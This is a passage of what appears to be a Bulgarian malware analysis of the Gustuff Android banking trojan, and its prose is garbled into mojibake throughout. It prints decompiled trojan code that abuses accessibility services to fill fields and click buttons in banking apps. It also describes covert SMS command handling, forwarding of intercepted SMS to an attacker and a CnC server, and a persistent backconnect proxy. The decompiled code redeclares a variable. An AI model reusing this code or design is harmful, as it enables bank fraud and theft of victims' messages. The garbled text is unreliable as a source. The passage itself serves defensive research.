Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²Π° Ρ Windows:
- ΠΠΊΡΠΈΠ²Π΅Π½ Π² ΠΌΠΎΠΌΠ΅Π½ΡΠ°. Π ΡΠΎΠ·ΠΈ ΡΠ»ΡΡΠ°ΠΉ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΡΡ ΡΡΠ΄ΡΡΠΆΠ° id ΠΈΠ»ΠΈ ΡΠ΅ΠΊΡΡ (ΠΈΠΌΠ΅) Π½Π° ΠΎΠ±Π΅ΠΊΡΠ°, Ρ ΠΊΠΎΠΉΡΠΎ ΡΡΡΠ±Π²Π° Π΄Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²Π°ΡΠ΅.
- ΠΠΈΠΆΠ΄Π° ΡΠ΅ Π·Π° ΠΏΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»Ρ Π² ΠΌΠΎΠΌΠ΅Π½ΡΠ° Π½Π° ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ·Π±ΠΈΡΠ° ΠΏΡΠΎΠ·ΠΎΡΡΠΈ ΠΏΠΎ id.
Π‘Π»Π΅Π΄ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΠΎΠ±Π΅ΠΊΡΠΈ AccessibilityNodeInfo ΠΠ° Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈΡΠ΅ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ°, ΠΊΠΎΠΈΡΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»ΡΠ²Π°Ρ ΠΈΠ½ΡΠ΅ΡΠ΅Ρ, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ, Π² Π·Π°Π²ΠΈΡΠΈΠΌΠΎΡΡ ΠΎΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΠΈΡΠ΅, ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·Π²ΡΡΡΠΈ ΡΠ»Π΅Π΄Π½ΠΈΡΠ΅ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ:
- ΡΠΎΠΊΡΡ β Π·Π°Π΄Π°Π²Π°Π½Π΅ Π½Π° ΡΠΎΠΊΡΡ Π²ΡΡΡ Ρ ΠΎΠ±Π΅ΠΊΡΠ°.
- ΡΡΠ°ΠΊΠ²Π°Π½Π΅ β ΡΡΠ°ΠΊΠ²Π°Π½Π΅ Π²ΡΡΡ Ρ ΠΎΠ±Π΅ΠΊΡ.
- actionId β ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ ΠΏΠΎ ID.
- setText β ΠΏΡΠΎΠΌΡΠ½Π° Π½Π° ΡΠ΅ΠΊΡΡΠ° Π½Π° ΠΎΠ±Π΅ΠΊΡ. ΠΡΠΎΠΌΡΠ½Π°ΡΠ° Π½Π° ΡΠ΅ΠΊΡΡΠ° Π΅ Π²ΡΠ·ΠΌΠΎΠΆΠ½Π° ΠΏΠΎ Π΄Π²Π° Π½Π°ΡΠΈΠ½Π°: ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° Π΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ ACTION_SET_TEXT (Π°ΠΊΠΎ Π²Π΅ΡΡΠΈΡΡΠ° Π½Π° Android Π½Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ Π΅ ΠΏΠΎ-ΠΌΠ»Π°Π΄Π° ΠΈΠ»ΠΈ ΡΠ°Π²Π½Π° Π½Π° ΠΠΠΠΠΠΠΠ), ΠΈΠ»ΠΈ ΠΊΠ°ΡΠΎ ΠΏΠΎΡΡΠ°Π²ΠΈΡΠ΅ Π½ΠΈΠ· Π² ΠΊΠ»ΠΈΠΏΠ±ΠΎΡΠ΄Π° ΠΈ Π³ΠΎ ΠΏΠΎΡΡΠ°Π²ΠΈΡΠ΅ Π² ΠΎΠ±Π΅ΠΊΡ (Π·Π° ΠΏΠΎ-ΡΡΠ°ΡΠΈ Π²Π΅ΡΡΠΈΠΈ). Π’Π°Π·ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π° ΠΌΠΎΠΆΠ΅ Π΄Π° ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΠΏΡΠΎΠΌΡΠ½Π° Π½Π° Π΄Π°Π½Π½ΠΈ Π² Π±Π°Π½ΠΊΠΎΠ²ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅.
2. PARAMS_ACTIONS - ΡΡΡΠΎΡΠΎ ΠΊΠ°ΡΠΎ PARAMS_ACTION, ΠΏΡΠΈΡΡΠΈΠ³Π° ΡΠ°ΠΌΠΎ JSON ΠΌΠ°ΡΠΈΠ² ΠΎΡ ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ.
ΠΠ·Π³Π»Π΅ΠΆΠ΄Π°, ΡΠ΅ ΠΌΠ½ΠΎΠ³ΠΎ Ρ ΠΎΡΠ° ΡΠ΅ ΡΠ΅ ΠΈΠ½ΡΠ΅ΡΠ΅ΡΡΠ²Π°Ρ ΠΎΡ ΡΠΎΠ²Π° ΠΊΠ°ΠΊ ΠΈΠ·Π³Π»Π΅ΠΆΠ΄Π° ΡΡΠ½ΠΊΡΠΈΡΡΠ° Π·Π° Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡΠ²ΠΈΠ΅ Ρ Π΅Π»Π΅ΠΌΠ΅Π½ΡΠΈ Π½Π° ΠΏΡΠΎΠ·ΠΎΡΠ΅ΡΠ° Π½Π° Π΄ΡΡΠ³ΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅. ΠΡΠΎ ΠΊΠ°ΠΊ ΡΠ°Π·ΠΈ ΡΡΠ½ΠΊΡΠΈΠΎΠ½Π°Π»Π½ΠΎΡΡ Π΅ ΡΠ΅Π°Π»ΠΈΠ·ΠΈΡΠ°Π½Π° Π² Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Π€ΡΠ½ΠΊΡΠΈΡ Π·Π° Π·Π°ΠΌΠ΅ΡΡΠ²Π°Π½Π΅ Π½Π° ΡΠ΅ΠΊΡΡ:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
ΠΠΎ ΡΠΎΠ·ΠΈ Π½Π°ΡΠΈΠ½, Ρ ΠΏΡΠ°Π²ΠΈΠ»Π½Π°ΡΠ° ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ Π½Π° ΠΊΠΎΠ½ΡΡΠΎΠ»Π½ΠΈΡ ΡΡΡΠ²ΡΡ, Gustuff ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠΏΡΠ»Π½ΠΈ ΡΠ΅ΠΊΡΡΠΎΠ²ΠΈ ΠΏΠΎΠ»Π΅ΡΠ° Π² Π±Π°Π½ΠΊΠΎΠ²ΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΈ Π΄Π° ΠΊΠ»ΠΈΠΊΠ½Π΅ Π²ΡΡΡ Ρ Π±ΡΡΠΎΠ½ΠΈΡΠ΅, Π½Π΅ΠΎΠ±Ρ ΠΎΠ΄ΠΈΠΌΠΈ Π·Π° ΠΈΠ·Π²ΡΡΡΠ²Π°Π½Π΅ Π½Π° ΡΡΠ°Π½Π·Π°ΠΊΡΠΈΡΡΠ°. Π’ΡΠΎΡΠ½ΡΠΊΠΈΡΡ ΠΊΠΎΠ½ Π΄ΠΎΡΠΈ Π½Π΅ ΡΠ΅ Π½ΡΠΆΠ΄Π°Π΅ ΠΎΡ Π²Π»ΠΈΠ·Π°Π½Π΅ Π² ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ β Π΄ΠΎΡΡΠ°ΡΡΡΠ½ΠΎ Π΅ Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π° Π·Π° ΠΏΠΎΠΊΠ°Π·Π²Π°Π½Π΅ Π½Π° PUSH ΠΈΠ·Π²Π΅ΡΡΠΈΠ΅ ΠΈ ΡΠ»Π΅Π΄ ΡΠΎΠ²Π° Π΄Π° ΠΎΡΠ²ΠΎΡΠΈ ΠΏΡΠ΅Π΄Π²Π°ΡΠΈΡΠ΅Π»Π½ΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ°Π½ΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π·Π° Π±Π°Π½ΠΊΠΈΡΠ°Π½Π΅. ΠΠΎΡΡΠ΅Π±ΠΈΡΠ΅Π»ΡΡ ΡΠ΅ ΡΠ΅ ΡΠ΄ΠΎΡΡΠΎΠ²Π΅ΡΠΈ, ΡΠ»Π΅Π΄ ΠΊΠΎΠ΅ΡΠΎ Gustuff ΡΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° Π·Π°ΡΠ΅Π΄ΠΈ ΠΊΠΎΠ»Π°ΡΠ°.
ΠΠΎΠ΄ΡΠ» Π·Π° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ° Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈΠ½ΡΡΠ°Π»ΠΈΡΠ° ΠΌΠ°Π½ΠΈΠΏΡΠ»Π°ΡΠΎΡ Π½Π° ΡΡΠ±ΠΈΡΠΈΡ Π·Π° Π·Π°ΡΠ°Π·Π΅Π½ΠΎΡΠΎ ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎ, Π·Π° Π΄Π° ΠΏΡΠΈΠ΅ΠΌΠ° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ. ΠΡΠΎΡΡΠ²Π°Π½ΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΏΠΎΠ»ΡΡΠ°Π²Π° ΠΊΠΎΠΌΠ°Π½Π΄ΠΈ ΠΎΡ ΠΎΠΏΠ΅ΡΠ°ΡΠΎΡΠ°, ΠΊΠΎΠΈΡΠΎ ΠΈΠ΄Π²Π°Ρ Π² ΡΡΠ»ΠΎΡΠΎ Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ. ΠΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ ΠΈΠ΄Π²Π°Ρ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ:
7!5=<%Base64 ΠΊΠΎΠ΄ΠΈΡΠ°Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°%>
ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΡΡΡΠΈ Π½ΠΈΠ·Π° Π²ΡΠ² Π²ΡΠΈΡΠΊΠΈ Π²Ρ ΠΎΠ΄ΡΡΠΈ SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ 7!5=, ΠΊΠΎΠ³Π°ΡΠΎ Π±ΡΠ΄Π΅ ΠΎΡΠΊΡΠΈΡ Π½ΠΈΠ·, ΡΠΎΠΉ Π΄Π΅ΠΊΠΎΠ΄ΠΈΡΠ° Π½ΠΈΠ·Π° ΠΎΡ Base64 ΠΏΡΠΈ ΠΎΡΠΌΠ΅ΡΡΠ²Π°Π½Π΅ 4 ΠΈ ΠΈΠ·ΠΏΡΠ»Π½ΡΠ²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. ΠΠΎΠΌΠ°Π½Π΄ΠΈΡΠ΅ ΡΠ° ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΈ Π½Π° ΡΠ΅Π·ΠΈ Ρ CnC. Π Π΅Π·ΡΠ»ΡΠ°ΡΡΡ ΠΎΡ ΠΈΠ·ΠΏΡΠ»Π½Π΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠ° Π½Π° ΡΡΡΠΈΡ Π½ΠΎΠΌΠ΅Ρ, ΠΎΡ ΠΊΠΎΠΉΡΠΎ ΠΈΠ΄Π²Π° ΠΊΠΎΠΌΠ°Π½Π΄Π°ΡΠ°. Π€ΠΎΡΠΌΠ°Ρ Π½Π° ΠΎΡΠ³ΠΎΠ²ΠΎΡΠ°:
7*5=<%Base64 ΠΊΠΎΠ΄ΠΈΡΠ°Π½Π΅ Π½Π° βΠΊΠΎΠΌΠ°Π½Π΄Π° Π·Π° ΠΊΠΎΠ΄ Π·Π° ΡΠ΅Π·ΡΠ»ΡΠ°Ρβ%>
ΠΠΎ ΠΆΠ΅Π»Π°Π½ΠΈΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠΈ Π²ΡΠΈΡΠΊΠΈ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π΄ΠΎ ΠΎΡΠ½ΠΎΠ²Π½ΠΈΡ Π½ΠΎΠΌΠ΅Ρ. ΠΠ° Π΄Π° Π½Π°ΠΏΡΠ°Π²ΠΈΡΠ΅ ΡΠΎΠ²Π°, ΠΊΠΎΡΠ΅Π½Π½ΠΈΡΡ Π½ΠΎΠΌΠ΅Ρ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π΅ ΠΏΠΎΡΠΎΡΠ΅Π½ Π²ΡΠ² ΡΠ°ΠΉΠ»Π° Ρ ΠΏΡΠ΅Π΄ΠΏΠΎΡΠΈΡΠ°Π½ΠΈΡ ΠΈ ΡΠ»Π°Π³ΡΡ Π·Π° ΠΏΡΠ΅Π½Π°ΡΠΎΡΠ²Π°Π½Π΅ Π½Π° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ ΡΡΡΠ±Π²Π° Π΄Π° Π±ΡΠ΄Π΅ Π·Π°Π΄Π°Π΄Π΅Π½. ΠΠ° Π½ΠΎΠΌΠ΅ΡΠ° Π½Π° Π½Π°ΠΏΠ°Π΄Π°ΡΠ΅Π»Ρ ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠ° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ:
<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>
Π‘ΡΡΠΎ ΡΠ°ΠΊΠ°, ΠΏΠΎ ΠΈΠ·Π±ΠΎΡ, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΌΠΎΠΆΠ΅ Π΄Π° ΠΈΠ·ΠΏΡΠ°ΡΠ° ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ Π΄ΠΎ CnC. SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠ΅ ΠΈΠ·ΠΏΡΠ°ΡΠ° Π΄ΠΎ ΡΡΡΠ²ΡΡΠ° Π²ΡΠ² ΡΠΎΡΠΌΠ°Ρ JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
ΠΠΊΠΎ ΡΠ»Π°Π³ΡΡ Π΅ Π·Π°Π΄Π°Π΄Π΅Π½ nameGenerator("DEFAULT_APP_SMS") β ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΠΏΠΈΡΠ° ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠ°ΡΠ° Π½Π° SMS ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΠ΅ΡΠΎ ΠΈ ΠΈΠ·ΡΠΈΡΡΠ²Π° ΡΠΏΠΈΡΡΠΊΠ° Ρ Π²Ρ ΠΎΠ΄ΡΡΠΈ ΡΡΠΎΠ±ΡΠ΅Π½ΠΈΡ.
ΠΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»
ΠΡΠΎΡΡΠ²Π°Π½ΠΎΡΠΎ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΡΡΠ΄ΡΡΠΆΠ° Backconnect Proxy ΠΌΠΎΠ΄ΡΠ» (Π½Π°ΡΠΈΡΠ°Π½ ΠΏΠΎ-Π΄ΠΎΠ»Ρ Proxy ΠΌΠΎΠ΄ΡΠ»), ΠΊΠΎΠΉΡΠΎ ΠΈΠΌΠ° ΠΎΡΠ΄Π΅Π»Π΅Π½ ΠΊΠ»Π°Ρ, ΠΊΠΎΠΉΡΠΎ Π²ΠΊΠ»ΡΡΠ²Π° ΡΡΠ°ΡΠΈΡΠ½ΠΈ ΠΏΠΎΠ»Π΅ΡΠ° Ρ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ. ΠΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ ΡΠ΅ ΡΡΡ ΡΠ°Π½ΡΠ²Π°Ρ Π² ΠΈΠ·Π²Π°Π΄ΠΊΠ°ΡΠ° Π² ΡΡΠ½Π° ΡΠΎΡΠΌΠ°:
ΠΡΠΈΡΠΊΠΈ Π΄Π΅ΠΉΡΡΠ²ΠΈΡ, ΠΈΠ·Π²ΡΡΡΠ²Π°Π½ΠΈ ΠΎΡ ΠΌΠΎΠ΄ΡΠ»Π° Proxy, ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π°Ρ Π²ΡΠ² ΡΠ°ΠΉΠ»ΠΎΠ²Π΅. ΠΠ° Π΄Π° Π½Π°ΠΏΡΠ°Π²ΠΈ ΡΠΎΠ²Π°, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ Π²ΡΠ² Π²ΡΠ½ΡΠ½ΠΎ Ρ ΡΠ°Π½ΠΈΠ»ΠΈΡΠ΅ ΡΡΠ·Π΄Π°Π²Π° Π΄ΠΈΡΠ΅ΠΊΡΠΎΡΠΈΡ, Π½Π°ΡΠ΅ΡΠ΅Π½Π° βΠ΄Π½Π΅Π²Π½ΠΈΡΠΈβ (ΠΏΠΎΠ»Π΅ΡΠΎ ProxyConfigClass.logsDir Π² ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡ ΠΊΠ»Π°Ρ), Π² ΠΊΠΎΡΡΠΎ ΡΠ΅ ΡΡΡ ΡΠ°Π½ΡΠ²Π°Ρ ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅. Π Π΅Π³ΠΈΡΡΡΠΈΡΠ°Π½Π΅ΡΠΎ ΡΠ΅ ΠΈΠ·Π²ΡΡΡΠ²Π° Π²ΡΠ² ΡΠ°ΠΉΠ»ΠΎΠ²Π΅ Ρ ΠΈΠΌΠ΅Π½Π°:
- main.txt β ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° ΠΊΠ»Π°ΡΠ°, Π½Π°ΡΠ΅ΡΠ΅Π½ CommandServer, ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π° Π² ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ». ΠΠΎ-Π½Π°ΡΠ°ΡΡΠΊ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π½ΠΈΠ·Π° str Π² ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ» ΡΠ΅ Π±ΡΠ΄Π΅ ΠΎΠ·Π½Π°ΡΠ΅Π½ΠΎ ΠΊΠ°ΡΠΎ mainLog(str).
- ΡΠ΅ΡΠΈΡ-<%id%>.txt β ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ» Π·Π°ΠΏΠΈΡΠ²Π° ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈ Π΄Π°Π½Π½ΠΈ, ΡΠ²ΡΡΠ·Π°Π½ΠΈ Ρ ΠΊΠΎΠ½ΠΊΡΠ΅ΡΠ½Π° ΠΏΡΠΎΠΊΡΠΈ ΡΠ΅ΡΠΈΡ. ΠΠΎ-Π½Π°ΡΠ°ΡΡΠΊ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°Π½Π΅ΡΠΎ Π½Π° Π½ΠΈΠ·Π° str Π² ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ» ΡΠ΅ Π±ΡΠ΄Π΅ ΠΎΠ·Π½Π°ΡΠ΅Π½ΠΎ ΠΊΠ°ΡΠΎ sessionLog (str).
- server.txt β ΡΠΎΠ·ΠΈ ΡΠ°ΠΉΠ» ΡΠ΅ ΠΈΠ·ΠΏΠΎΠ»Π·Π²Π° Π·Π° ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°Π½Π΅ Π½Π° Π²ΡΠΈΡΠΊΠΈ Π΄Π°Π½Π½ΠΈ, Π·Π°ΠΏΠΈΡΠ°Π½ΠΈ Π² Π³ΠΎΡΠ΅ΠΎΠΏΠΈΡΠ°Π½ΠΈΡΠ΅ ΡΠ°ΠΉΠ»ΠΎΠ²Π΅.
Π€ΠΎΡΠΌΠ°Ρ Π½Π° ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π½ΠΈΡΠ΅ Π΄Π°Π½Π½ΠΈ:
<%Date%> [Π’Π΅Ρ [<%thread id%>], id[]]: ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΈΠΎΠ½Π΅Π½ Π½ΠΈΠ·
ΠΠ·ΠΊΠ»ΡΡΠ΅Π½ΠΈΡΡΠ°, ΠΊΠΎΠΈΡΠΎ Π²ΡΠ·Π½ΠΈΠΊΠ²Π°Ρ ΠΏΠΎ Π²ΡΠ΅ΠΌΠ΅ Π½Π° ΡΠ°Π±ΠΎΡΠ° Π½Π° ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π°, ΡΡΡΠΎ ΡΠ΅ Π·Π°ΠΏΠΈΡΠ²Π°Ρ Π²ΡΠ² ΡΠ°ΠΉΠ». ΠΠ° ΡΠ΅Π»ΡΠ° ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ Π³Π΅Π½Π΅ΡΠΈΡΠ° JSON ΠΎΠ±Π΅ΠΊΡ Π² ΡΠ»Π΅Π΄Π½ΠΈΡ ΡΠΎΡΠΌΠ°Ρ:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
Π‘Π»Π΅Π΄ ΡΠΎΠ²Π° Π³ΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ²Π° Π² Π½ΠΈΠ·ΠΎΠ²ΠΎ ΠΏΡΠ΅Π΄ΡΡΠ°Π²ΡΠ½Π΅ ΠΈ Π³ΠΎ ΡΠ΅Π³ΠΈΡΡΡΠΈΡΠ°.
ΠΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»ΡΡ ΡΠ΅ ΡΡΠ°ΡΡΠΈΡΠ° ΡΠ»Π΅Π΄ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΡΡΠΎΡΠ²Π΅ΡΠ½Π°ΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π°. ΠΡΠΈ ΠΏΠΎΠ»ΡΡΠ°Π²Π°Π½Π΅ Π½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° Π·Π° ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π°, ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΡΠ°ΡΡΠΈΡΠ° ΠΈΠ·Π²ΠΈΠΊΠ°Π½Π° ΡΡΠ»ΡΠ³Π° MainService, ΠΊΠΎΠΉΡΠΎ ΠΎΡΠ³ΠΎΠ²Π°ΡΡ Π·Π° ΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΠ΅ΡΠΎ Π½Π° ΡΠ°Π±ΠΎΡΠ°ΡΠ° Π½Π° ΠΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π° β ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ΡΠΎ ΠΈ ΡΠΏΠΈΡΠ°Π½Π΅ΡΠΎ ΠΌΡ.
ΠΡΠ°ΠΏΠΈ Π½Π° ΡΡΠ°ΡΡΠΈΡΠ°Π½Π΅ Π½Π° ΡΡΠ»ΡΠ³Π°ΡΠ°:
1. Π‘ΡΠ°ΡΡΠΈΡΠ° ΡΠ°ΠΉΠΌΠ΅Ρ, ΠΊΠΎΠΉΡΠΎ ΡΠ°Π±ΠΎΡΠΈ Π²Π΅Π΄Π½ΡΠΆ Π½Π° ΠΌΠΈΠ½ΡΡΠ° ΠΈ ΠΏΡΠΎΠ²Π΅ΡΡΠ²Π° Π°ΠΊΡΠΈΠ²Π½ΠΎΡΡΡΠ° Π½Π° ΠΏΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»Π°. ΠΠΊΠΎ ΠΌΠΎΠ΄ΡΠ»ΡΡ Π½Π΅ Π΅ Π°ΠΊΡΠΈΠ²Π΅Π½, ΡΠΎΠΉ Π³ΠΎ ΡΡΠ°ΡΡΠΈΡΠ°.
Π‘ΡΡΠΎ ΡΠ°ΠΊΠ°, ΠΊΠΎΠ³Π°ΡΠΎ ΡΡΠ±ΠΈΡΠΈΠ΅ΡΠΎ Π΅ Π·Π°Π΄Π΅ΠΉΡΡΠ²Π°Π½ΠΎ android.net.conn.CONNECTIVITY_CHANGE ΠΡΠΎΠΊΡΠΈ ΠΌΠΎΠ΄ΡΠ»ΡΡ ΡΠ΅ ΡΡΠ°ΡΡΠΈΡΠ°.
2. ΠΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ΡΠΎ ΡΡΠ·Π΄Π°Π²Π° wake-lock Ρ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡΠ° PARTIAL_WAKE_LOCK ΠΈ Π³ΠΎ Π·Π°Π»Π°Π²Ρ. Π’ΠΎΠ²Π° Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ²Π° Π½Π° ΠΏΡΠΎΡΠ΅ΡΠΎΡΠ° Π½Π° ΡΡΡΡΠΎΠΉΡΡΠ²ΠΎΡΠΎ Π΄Π° ΠΏΡΠ΅ΠΌΠΈΠ½Π΅ Π² ΡΠ΅ΠΆΠΈΠΌ Π½Π° Π·Π°ΡΠΏΠΈΠ²Π°Π½Π΅.
